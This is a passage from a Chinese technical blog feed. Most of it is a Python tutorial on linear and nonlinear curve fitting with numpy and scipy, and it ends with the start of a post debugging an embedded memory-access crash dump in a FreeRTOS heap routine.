</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># ADC 采集的原始数据</span>
</span></span><span class="line"><span class="cl"><span class="n">adc</span> <span class="o">=</span> <span class="p">[</span> <span class="mi">192</span><span class="p">,</span> <span class="mi">333</span><span class="p">,</span> <span class="mi">372</span><span class="p">,</span> <span class="mi">399</span><span class="p">,</span> <span class="mi">421</span><span class="p">,</span> <span class="mi">435</span><span class="p">,</span> <span class="mi">450</span><span class="p">,</span> <span class="mi">453</span><span class="p">,</span> <span class="mi">459</span><span class="p">,</span> <span class="mi">462</span><span class="p">,</span> <span class="mi">456</span><span class="p">,</span> <span class="mi">436</span><span class="p">,</span> <span class="mi">419</span><span class="p">,</span> <span class="mi">386</span><span class="p">,</span> <span class="mi">340</span><span class="p">,</span> <span class="mi">199</span><span class="p">,</span> <span class="mi">184</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 实际测量的电压数据</span>
</span></span><span class="line"><span class="cl"><span class="n">vo</span> <span class="o">=</span> <span class="p">[</span><span class="mi">702</span><span class="p">,</span> <span class="mi">1212</span><span class="p">,</span> <span class="mi">1343</span><span class="p">,</span> <span class="mi">1442</span><span class="p">,</span> <span class="mi">1525</span><span class="p">,</span> <span class="mi">1572</span><span class="p">,</span> <span class="mi">1623</span><span class="p">,</span> <span class="mi">1638</span><span class="p">,</span> <span class="mi">1652</span><span class="p">,</span> <span class="mi">1665</span><span class="p">,</span> <span class="mi">1647</span><span class="p">,</span>  <span class="mi">1580</span><span class="p">,</span> <span class="mi">1512</span><span class="p">,</span> <span class="mi">1395</span><span class="p">,</span> <span class="mi">1232</span><span class="p">,</span> <span class="mi">729</span><span class="p">,</span> <span class="mi">679</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 绘图</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">adc</span><span class="p">,</span> <span class="n">vo</span><span class="p">,</span> <span class="s1">&#39;rx&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="https://cdn.jsdelivr.net/gh/hacperme/picx_hosting/raw/master/20210507/image-20210704224026426.19dc4mt6nx9c.png" alt=""  />
</p>
<p>从上图看，原始数据和实际电压数据基本上保持线性关系，这是比较幸运的情况，从图上看应该是一条直线，通过直线拟合的方法来得到实际电压没有问题。</p>
<p>怎么获取这条直线的参数呢？</p>
<p>方法1，numpy 提供的多项式拟合函数polyfit计算。</p>
<p>线性拟合为一阶多项式，一阶多项式$$y = a_1 x + a_0$$拟合成功返回两个系数 $$[a_1, a_0]$$。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">coeff1</span> <span class="o">=</span> <span class="n">polyfit</span><span class="p">(</span><span class="n">adc</span><span class="p">,</span> <span class="n">vo</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">coeff1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [ 3.56483415 20.43063565]</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>使用poly1d生成多项式函数。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">f</span> <span class="o">=</span> <span class="n">poly1d</span><span class="p">(</span><span class="n">coeff1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 3.565 x + 20.43</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>然后画出拟合曲线图。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">adc</span><span class="p">,</span> <span class="n">f</span><span class="p">(</span><span class="n">adc</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">adc</span><span class="p">,</span> <span class="n">vo</span><span class="p">,</span> <span class="s1">&#39;rx&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="https://cdn.jsdelivr.net/gh/hacperme/picx_hosting/raw/master/20210507/image-20210704231937480.2t6hteq3sxk0.png" alt=""  />
</p>
<p>方法2，使用scipy提供的线性回归函数linregress求解</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 求解系数</span>
</span></span><span class="line"><span class="cl"><span class="n">slope</span><span class="p">,</span> <span class="n">intercept</span><span class="p">,</span> <span class="n">r_value</span><span class="p">,</span> <span class="n">p_value</span><span class="p">,</span> <span class="n">stderr</span> <span class="o">=</span> <span class="n">linregress</span><span class="p">(</span><span class="n">adc</span><span class="p">,</span> <span class="n">vo</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">slope</span><span class="p">,</span> <span class="n">intercept</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 3.5648341453932266 20.430635650877775</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>绘制拟合曲线图</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">f</span> <span class="o">=</span> <span class="n">poly1d</span><span class="p">(</span><span class="n">coeff</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 3.565 x + 20.43</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">adc</span><span class="p">,</span> <span class="n">vo</span><span class="p">,</span> <span class="s1">&#39;rx&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">adc</span><span class="p">,</span> <span class="n">f</span><span class="p">(</span><span class="n">adc</span><span class="p">))</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="https://cdn.jsdelivr.net/gh/hacperme/picx_hosting/raw/master/20210507/image-20210704234405650.6nac3we7czk0.png" alt=""  />
</p>
<p>方法3，求最小二乘解</p>
<p>当使用一个 N-1 阶的多项式拟合这 M 个点时，有这样的关系存在$$XC = Y$$ ，</p>
<p>$$\left[ \begin{matrix} x_0^{N-1} &amp; \dots &amp; x_0 &amp; 1 \\ x_1^{N-1} &amp; \dots &amp; x_1 &amp; 1 \\ \dots &amp; \dots &amp; \dots &amp; \dots \\ x_M^{N-1} &amp; \dots &amp; x_M &amp; 1 \end{matrix}\right]  \left[ \begin{matrix} C_{N-1} \\ \dots \\ C_1 \\ C_0 \end{matrix} \right] = \left[ \begin{matrix} y_0 \\ y_1 \\ \dots \\ y_M \end{matrix} \right]$$</p>
<p>使用一阶多项式求解，即N=2，先将adc扩展为X，vo转换为Y:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">x</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="n">adc</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Y</span><span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="n">vo</span><span class="p">)</span><span class="o">.</span><span class="n">reshape</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">X</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">hstack</span><span class="p">((</span><span class="n">x</span><span class="p">[:,</span><span class="n">np</span><span class="o">.</span><span class="n">newaxis</span><span class="p">],</span> <span class="n">np</span><span class="o">.</span><span class="n">ones</span><span class="p">((</span><span class="n">x</span><span class="o">.</span><span class="n">shape</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">],</span><span class="mi">1</span><span class="p">))))</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">X</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="mi">8</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">Y</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="mi">8</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="s1">&#39;&#39;&#39;
</span></span></span><span class="line"><span class="cl"><span class="s1">[[192.   1.]
</span></span></span><span class="line"><span class="cl"><span class="s1"> [333.   1.]
</span></span></span><span class="line"><span class="cl"><span class="s1"> [372.   1.]
</span></span></span><span class="line"><span class="cl"><span class="s1"> [399.   1.]
</span></span></span><span class="line"><span class="cl"><span class="s1"> [421.   1.]
</span></span></span><span class="line"><span class="cl"><span class="s1"> [435.   1.]
</span></span></span><span class="line"><span class="cl"><span class="s1"> [450.   1.]
</span></span></span><span class="line"><span class="cl"><span class="s1"> [453.   1.]]
</span></span></span><span class="line"><span class="cl"><span class="s1"> 
</span></span></span><span class="line"><span class="cl"><span class="s1">[[ 702]
</span></span></span><span class="line"><span class="cl"><span class="s1"> [1212]
</span></span></span><span class="line"><span class="cl"><span class="s1"> [1343]
</span></span></span><span class="line"><span class="cl"><span class="s1"> [1442]
</span></span></span><span class="line"><span class="cl"><span class="s1"> [1525]
</span></span></span><span class="line"><span class="cl"><span class="s1"> [1572]
</span></span></span><span class="line"><span class="cl"><span class="s1"> [1623]
</span></span></span><span class="line"><span class="cl"><span class="s1"> [1638]]
</span></span></span><span class="line"><span class="cl"><span class="s1">&#39;&#39;&#39;</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>求解：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">C</span><span class="p">,</span> <span class="n">resid</span><span class="p">,</span> <span class="n">rank</span><span class="p">,</span> <span class="n">s</span> <span class="o">=</span> <span class="n">lstsq</span><span class="p">(</span><span class="n">X</span><span class="p">,</span> <span class="n">Y</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">C</span><span class="p">,</span> <span class="n">resid</span><span class="p">,</span> <span class="n">rank</span><span class="p">,</span> <span class="n">s</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">(array([[ 3.56483415],
</span></span></span><span class="line"><span class="cl"><span class="s2">        [20.43063565]]),
</span></span></span><span class="line"><span class="cl"><span class="s2"> array([137.64565162]),
</span></span></span><span class="line"><span class="cl"><span class="s2"> 2,
</span></span></span><span class="line"><span class="cl"><span class="s2"> array([1.59853058e+03, 9.95236176e-01]))
</span></span></span><span class="line"><span class="cl"><span class="s2">&#34;&#34;&#34;</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>绘图：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">f</span> <span class="o">=</span> <span class="n">poly1d</span><span class="p">(</span><span class="n">C</span><span class="o">.</span><span class="n">reshape</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="o">-</span><span class="mi">1</span><span class="p">)[</span><span class="mi">0</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 3.565 x + 20.43</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">adc</span><span class="p">,</span> <span class="n">vo</span><span class="p">,</span> <span class="s1">&#39;rx&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">adc</span><span class="p">,</span> <span class="n">f</span><span class="p">(</span><span class="n">adc</span><span class="p">))</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="https://cdn.jsdelivr.net/gh/hacperme/picx_hosting/raw/master/20210507/image-20210705002503294.iomg7llgank.png" alt=""  />
</p>
<h2 id="非线性拟合">非线性拟合</h2>
<ol>
<li>
<p>多项式拟合正弦函数</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 定义sin函数</span>
</span></span><span class="line"><span class="cl"><span class="n">x</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">linspace</span><span class="p">(</span><span class="o">-</span><span class="mi">3</span> <span class="o">*</span> <span class="n">np</span><span class="o">.</span><span class="n">pi</span><span class="p">,</span><span class="mi">3</span> <span class="o">*</span> <span class="n">np</span><span class="o">.</span><span class="n">pi</span><span class="p">,</span><span class="mi">100</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">y</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">sin</span><span class="p">(</span><span class="n">x</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 多项式拟合，从一阶多项式到9阶多项式</span>
</span></span><span class="line"><span class="cl"><span class="n">y1</span> <span class="o">=</span> <span class="n">poly1d</span><span class="p">(</span><span class="n">polyfit</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">,</span><span class="mi">1</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">y3</span> <span class="o">=</span> <span class="n">poly1d</span><span class="p">(</span><span class="n">polyfit</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">,</span><span class="mi">3</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">y5</span> <span class="o">=</span> <span class="n">poly1d</span><span class="p">(</span><span class="n">polyfit</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">,</span><span class="mi">5</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">y7</span> <span class="o">=</span> <span class="n">poly1d</span><span class="p">(</span><span class="n">polyfit</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">,</span><span class="mi">7</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">y9</span> <span class="o">=</span> <span class="n">poly1d</span><span class="p">(</span><span class="n">polyfit</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">,</span><span class="mi">9</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 绘图</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="s1">&#39;k-&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y1</span><span class="p">(</span><span class="n">x</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y3</span><span class="p">(</span><span class="n">x</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y5</span><span class="p">(</span><span class="n">x</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y7</span><span class="p">(</span><span class="n">x</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y9</span><span class="p">(</span><span class="n">x</span><span class="p">),</span><span class="s2">&#34;g--&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">plt</span><span class="o">.</span><span class="n">axis</span><span class="p">([</span><span class="o">-</span><span class="mi">3</span> <span class="o">*</span> <span class="n">np</span><span class="o">.</span><span class="n">pi</span><span class="p">,</span> <span class="mi">3</span> <span class="o">*</span> <span class="n">np</span><span class="o">.</span><span class="n">pi</span><span class="p">,</span> <span class="o">-</span><span class="mf">1.25</span><span class="p">,</span> <span class="mf">1.25</span><span class="p">])</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="https://cdn.jsdelivr.net/gh/hacperme/picx_hosting/raw/master/20210507/image-20210705011117201.2axjjtv371gk.png" alt=""  />
</p>
</li>
<li>
<p>拟合自定义曲线</p>
<p>$$y = a e^{-b sin( f x + \phi)}$$</p>
<p>定义非线性函数：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">function</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">a</span> <span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">f</span><span class="p">,</span> <span class="n">phi</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;a function of x with four parameters&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">result</span> <span class="o">=</span> <span class="n">a</span> <span class="o">*</span> <span class="n">np</span><span class="o">.</span><span class="n">exp</span><span class="p">(</span><span class="o">-</span><span class="n">b</span> <span class="o">*</span> <span class="n">np</span><span class="o">.</span><span class="n">sin</span><span class="p">(</span><span class="n">f</span> <span class="o">*</span> <span class="n">x</span> <span class="o">+</span> <span class="n">phi</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">result</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">scipy.optimize</span> <span class="kn">import</span> <span class="n">curve_fit</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">scipy.stats</span> <span class="kn">import</span> <span class="n">norm</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 绘制原始曲线和加入噪声后曲线</span>
</span></span><span class="line"><span class="cl"><span class="n">x</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">linspace</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">2</span> <span class="o">*</span> <span class="n">np</span><span class="o">.</span><span class="n">pi</span><span class="p">,</span> <span class="mi">50</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">actual_parameters</span> <span class="o">=</span> <span class="p">[</span><span class="mi">3</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mf">1.25</span><span class="p">,</span> <span class="n">np</span><span class="o">.</span><span class="n">pi</span> <span class="o">/</span> <span class="mi">4</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">y</span> <span class="o">=</span> <span class="n">function</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="o">*</span><span class="n">actual_parameters</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">y_noisy</span> <span class="o">=</span> <span class="n">y</span><span class="o">+</span> <span class="mf">1.8</span> <span class="o">*</span> <span class="n">norm</span><span class="o">.</span><span class="n">rvs</span><span class="p">(</span><span class="n">size</span><span class="o">=</span><span class="nb">len</span><span class="p">(</span><span class="n">x</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="s1">&#39;k-&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y_noisy</span><span class="p">,</span> <span class="s1">&#39;gx&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="https://cdn.jsdelivr.net/gh/hacperme/picx_hosting/raw/master/20210507/image-20210705012840461.2fgzrcl3wpc0.png" alt=""  />
</p>
<p>使用curve_fit求解</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">p_est</span><span class="p">,</span> <span class="n">err_est</span> <span class="o">=</span> <span class="n">curve_fit</span><span class="p">(</span><span class="n">function</span><span class="p">,</span> <span class="n">x</span><span class="p">,</span> <span class="n">y_noisy</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 第一个返回的是函数的参数，第二个返回值为各个参数的协方差矩阵</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 绘制结果曲线</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y_noisy</span><span class="p">,</span> <span class="s2">&#34;gx&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="s1">&#39;k&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">function</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="o">*</span><span class="n">p_est</span><span class="p">),</span> <span class="s2">&#34;r&#34;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="https://cdn.jsdelivr.net/gh/hacperme/picx_hosting/raw/master/20210507/image-20210705012906846.5me94zsxt800.png" alt=""  />
</p>
<h2 id="参考资料">参考资料</h2>
<ol>
<li><a href="http://lijin-thu.github.io/04.%20scipy/04.04%20curve%20fitting.html">04.04 curve fitting (http://lijin-thu.github.io/04.%20scipy/04.04%20curve%20fitting.html)</a></li>
</ol>
</li>
</ol>
]]></content:encoded>
    </item>
    <item>
      <title>内存写越界 dump 分析</title>
      <link>https://hacperme.com/posts/series/dump/20210625_bc20_dump/</link>
      <pubDate>Fri, 25 Jun 2021 01:06:48 +0800</pubDate>
      <guid>https://hacperme.com/posts/series/dump/20210625_bc20_dump/</guid>
      <description>CoreDump_2021-05-26_14-40-18 dump log 显示是访问了非法内存地址 Memory Management fault: Data access violation @0x10000a0d trace 32 解析dump 死机时执行的汇编代码 str r0,[r3] ; pxBlockToInsert,[r3] 查看R3寄存器为 10000A0D 确实访问了内存地址 0x10000A0D 再看调用栈情况</description>
      <content:encoded><![CDATA[<h2 id="coredump_2021-05-26_14-40-18">CoreDump_2021-05-26_14-40-18</h2>
<p>dump log 显示是访问了非法内存地址</p>
<p>Memory Management fault: Data access violation @0x10000a0d</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20210620130549455.1o6wvomgeb28.png" alt="image-20210620130549455"  />
</p>
<p>trace 32 解析dump</p>
<p>死机时执行的汇编代码</p>
<p>str     r0,[r3]          ; pxBlockToInsert,[r3]</p>
<p>查看R3寄存器为 10000A0D</p>
<p>确实访问了内存地址 0x10000A0D</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20210620130938468.2rkaw9oxk9q0.png" alt="image-20210620130938468"  />
</p>
<p>再看调用栈情况</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20210620150819656.7ipakvfs4hw0.png" alt="image-20210620150819656"  />
</p>
<p>死机位置</p>
<p>prvInsertBlockIntoFreeList</p>
